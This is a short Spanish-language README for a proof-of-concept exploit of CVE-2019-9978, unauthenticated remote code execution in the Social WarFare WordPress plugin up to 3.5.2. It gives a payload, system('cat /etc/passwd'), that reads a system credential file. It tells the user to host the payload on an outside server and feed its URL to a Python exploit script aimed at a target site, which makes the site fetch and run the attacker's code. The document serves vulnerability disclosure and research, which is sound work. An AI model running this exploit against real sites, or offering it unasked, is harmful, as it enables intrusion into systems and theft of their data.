CVE-2019-9978

CVE-2019-9978 - (PoC) RCE in Social WarFare Plugin (<=3.5.2)

Descripción

Se ha descubierto una ejecución remota de código no autenticada en la funcionalidad que maneja la importación de configuraciones. Un usuario puede aprovechar el uso de RFI para RCE.

PoC

Copia el siguiente payload:

<pre>system('cat /etc/passwd')</pre>

Guárdalo con el nombre: payload.txt y súbelo a un servidor. La URI debería verse así: http(s)://yoursite.com/payload.txt. Finalmente, proporciona tus opciones --target y --payload-uri:

$ python cve-2019-9978.py --target http://vulntarget.com \
                         --payload-uri http://yourpayloadsite.com/payload.txt

Créditos

Investigador: Luka Sikic
Enlace: https://wpvulndb.com/vulnerabilities/9259?fbclid=IwAR2xLSnanccqwZNqc2c7cIv447Lt80mHivtyNV5ZXGS0ZaScxIYcm1XxWXM
Autor: @hash3liZer